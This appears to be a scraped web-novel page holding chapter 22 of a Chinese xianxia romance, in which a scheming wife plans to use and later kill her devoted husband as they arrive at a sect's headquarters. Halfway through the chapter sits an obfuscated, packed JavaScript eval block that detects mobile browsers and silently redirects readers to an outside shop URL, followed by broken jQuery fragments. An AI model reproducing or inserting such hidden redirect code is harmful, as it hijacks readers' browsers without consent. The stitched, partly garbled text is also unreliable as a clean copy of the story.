默认冷灰
24号文字
方正启体

22. 第 22 章

作者:虞望舒本书字数:K更新时间:
    如何会不喜?


    如何会不爱闻续樱?


    辛摇树心脏狂跳,心间炙意灼灼燃烧,想珍藏,想独享这一刻,所有聒噪都显得那样难以忍受。


    这些人凭何与他共享妻子送他的礼?


    几乎所有修士都从灵舟中出了来,有人似不小心撞了辛摇树一下,撞得他终于动了地倾向闻续樱。


    闻续樱下意识扶他,还未接触,却先被一下抱住,她个子偏高,耳分明没有贴在心口,却也被他的剧烈起伏所染,她抬起眼戏谑:“看来是喜欢的了。”


    辛摇树亢奋又平静,在一片喧闹中竟问出了个不合时宜的问题:“你常给人这样送礼吗?”


    甫一问出口辛摇树就感后悔,他一直小心翼翼地在妻子面前攒着日后可以挽留的资本,八年前是,八年后亦然,显然的,如今的他还没有攒够能问出这个的资本。


    甚至,妻子与他的关系还生疏得比不上过去。


    闻续樱微怔,似乎从未想过这种话会从辛摇树口中问出。


    她推开辛摇树,观察他,却发现她温淡印象的夫君更幽怨了,那种藏也藏不住的幽怨,包含着沮丧、颓气,消沉悲观得乍看之下,像株水边独开的郁美百合。


    啊,他是什么时候变成这样的?


    闻续樱承认,她可耻地兴奋了,那种带怨带酸的质问,她完全被撩起了兴趣。


    她会想,原来辛摇树,还藏有这么多不同的情绪啊?


    他到底在想什么?怎么会这么有趣?


    她抿着唇压了压兴奋劲,趴在灵舟向外延伸的舟沿,伸手接下一朵完整的花:“也不是经常吧。”


    送葬的时候,偶尔也会有那么一两位有这待遇。


    辛摇树是其中唯一还活着的,但在不久的将来,也会死在她手中。


    闻续樱微叹地亲了亲接落的山茶花:“辛摇树,不要太信任我了。”


    “你该知道的,我没有你想得那么好。”


    说着,她松了手,雪白的山茶花断头似的从她手中跌落,霎时,所有送向飞舟的花雨渐歇。


    飞舟之上的弟子们也如梦初醒,方才,他们似乎有短暂的神志迷离,极短,短到甚至意识不到,清醒后也不过浸在花雨褪去的遗憾中,有可惜竟没能随身带的上一块留影石的,也有可惜自己爱慕的某位师姐不在……


    聒噪中,一缕轻轻的风将闻续樱跌落的花重新浮了起来,雪白的山茶,落在了辛摇树的手中。


    他若一个执迷不悟的信徒,哪怕真实就在眼前,他也会闭上眼睛。


    薄淡的唇覆上闻续樱亲吻过的地方,她分明很好,分明可以不与他提醒,将他骗得死去活来,再挖出他的心脏赏玩。


    可她总对他心软不是吗?


    将花藏起,抬眼又去寻妻子的身影。


    *


    闻续樱气闷地踢飞舟尾部的舱板,辛摇树辛摇树辛摇树,怎么就偏他这么不同。


    这么烦人!


    阿波罗不敢靠近地看着,许久,建议:“你这么烦,干脆把他杀了不就行了。”


    反正闻续樱完成任务的方式多得是,无非有些要多费时一些罢了,现在这样黏糊的手段,它都第一次见。


    闻续樱杀气腾腾地抽了它一花枝:“你说什么屁话,他还有用。”


    况且,她已经答应了会帮他。


    毕竟夫妻一场,她该让他最后的日子快活一点,随心所欲一点。


    这些所想,都是她将利用他的报酬。


    而且是他自己送上门来的不是吗?他活该被她利用。


    越想,闻续樱渐安静了下来。


    阿波罗撅着腚靠着墙降温,大恶女抽得它屁股火辣辣的,它不就随便一建议嘛,至于下这么重手嘛。


    简直没有鸟权!


    等它恢复世界生机,才不要邀请闻续樱住到它的世界。


    一人一鸟相互冷静许久转出甲板,辛摇树不知何时等在的,甫一照面,就又露出那种瞧着温淡但实际有点可怜的笑。


    让人的心很乱。


    “不许笑。”不许笑这么要碎了的样子,闻续樱冲辛摇树道。


    她的语气可谓得上凶,与先才送花时完全两个模样,她又忘记装了。


    辛摇树平直了唇线,眸光专注,眼白却若水,眼底一丝丝红线向上漫时,显得极为明显。


    闻续樱暴躁极了,几步上前拉拽角落,卡住他下颌向上抬:“辛摇树,你真的很烦,不经常给人送行了吧,你是第一个,第一个让我买衣服的,第一个让我亲手制灯的,第一个活着让我送花的。”


    连说好几个第一个,闻续樱自己都有些讶异,原来为辛摇树有这么多第一次。


    她渐松了手,辛摇树仰起的颌下竟留下了红痕。


    她一旦动手,惯来难克制轻重,莫名有些心虚地松得更快,然辛摇树却不知怎么突然快活了地将她的手重新握了回去。


    许是没有用力的缘故,这次不像是掐,反像是被他拉着在摸他的颈,他快意地笑:“我很开心。”


    随着说话,男子跳动的脉搏,喘息带动的喉结滑动,肌肤带来的温感,一时竟结合在一起地占据了她的感官。


    尤其是他平时多是温静浅笑淡笑,端的是清疏朗致风光霁月,少有这样喘着气笑得很开的时候,柔和的眉眼都好似一刹张扬冶艳了起来。


    闻续樱被吸引得移不开视线,用手拉扯他唇角,确认他再笑不出来方才的笑容,才没意思松手。


    但好不容易保持的任务距离,又陡地变得微妙了起来,闻续樱气恼地瞪,辛摇树无辜地让她瞪。


    他的妻子,脾气越发不好了。


    是个好消息。


    *


    飞舟飞行了三日,闻续樱见到了道府,云海翻涌,仙山浮沉隐雾,白鹤翩跹飞舞云间,青鸾翔集山涧,再靠近了,或琼楼玉宇飞檐翘角,或玉石台阶巍然大殿,白宫金顶好不辉然大气,当真是仙家道府的仙然气象。


    不像是短时间建起来了,但得益薛瑶已经混入道府,偶尔会有有更细节的消息传给闻续樱,原是道府在正式确立前,不少宗门便已有了联立的打算,那时便在一边追击魔主残部,一边在后头筹备修界的新秩序,这样算来的话时间便不算短了。


    闻续樱不在乎这些小事,常催问的是气机丢失的去向,薛瑶被她压力得不行,硬生生用最短的时间努力出了一份观测名单。


    此观测名单非是气机的可能去向,而是根据对小世界法则的变动推算出的法则影响者。


    也就是闻续樱的可清理目标。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17557319|203287||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    但名单也是不完整的,上头才对应了两个人,一个是衍尊,一个是器尊。


    二人具体做了什么暂且不知,只能瞧出衍尊规避因果,乱了沧澜界法则中的因果逻辑。


    而器尊则是坏了法则中的“能量循环”。


    因果和能量无疑是法则中至关重要的两项,二人必然要清理。


    不过,最快纠回法则的方法还是要寻到破坏的根源。


    闻续樱想到什么般地又看向辛摇树,唇角笑意漫然。


    察觉妻子目光,辛摇树微挪步子,站到她身边等待飞舟降落。


    段川命飞舟径直落往天工殿外的大广场,辛摇树唤了一只白鹤载他与闻续樱飞往小别山。


    白鹤越飞越偏,从高处往下望的景致也发生变化,渐从仙家气象变得朴素自然,闻续樱无语了,特别想掰开辛摇树的脑子看看,好歹也是个气运者,到底是怎么混到这么差的?


    闻续樱:“辛摇树,你不会要我跟你过苦日子吧?”


    辛摇树显然想起了自己这些年的放逐,沉默一会道:“不会过苦日子。”


    还是攒下不少的,而且借出的也颇多。


    闻续樱不置可否,反正她看上什么会自己去抢。


    二人各怀心思,白鹤却倏地开始往下俯冲,小别山的全貌也渐呈现在闻续樱眼前,树色青葱,泉水叮咚,鸟禽惊飞间几间别致屋舍闯入了闻续樱的视线。


    那是与凝碧湾湖边别无二致的小院,一切都与记忆中一模一样,小院里的树和秋千,屋檐下的灯,墙角的水缸,地上的石子路……


    时间在这里寻不到一点流逝的痕迹,一看便是花了不少心思,阿波罗吃惊地绕飞一个鸟窝,大声与闻续樱啾声:“鸟窝!新的!”


    “我们错怪你夫君了,他不是移平了,是整个搬走了。”


    闻续樱轻哼别过视线,旧房子而已,更大更好的一大把。


    辛摇树喂了白鹤一把小灵果,才见妻子抱臂站在院中,她的脸绷得紧紧的,盛美但挑剔,似乎院中就没有她满意的地方。


    傲得有点像是在端着。


    他拍了拍白鹤的背让它飞走,走过去:“要不要到里面看一下?”


    闻续樱被请动了,屋内的陈设也和外头一样,一直保持着一种洁净和不变。


    手指拂过桌,又拉开梳妆台的抽屉,一堆小纸条就冒了出来,毕竟是普通的纸张,还是泛了黄。


    所以这个小世界到底是过去几年呢?


    闻续樱对时间一直没有实感,重回沧澜界后也不曾具体探究,任务嘛,总是这样的,若是每落一个世界就去算一次时间,不精神分裂才怪。


    但她难免还是生出了些好奇,不过是些旧东西,辛摇树日日对着这些,爱护着这些没有生命的东西,难道就不觉得无趣吗?


    而且,除了让她稍记起了的些那段都已经淡忘的日子外,她一点旁的感触都没有。


    她抬起视线,用平静的表情传递想法:看,你白费劲了,我根本没有良心。


    表情摆给了瞎子,辛摇树根本不在。


    闻续樱噔噔噔地追到内室,他在换被子。


    辛摇树将床榻换上了新的床单与被子,抱着换下的与闻续樱道:“这些都是洗过的,我会睡在隔壁。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)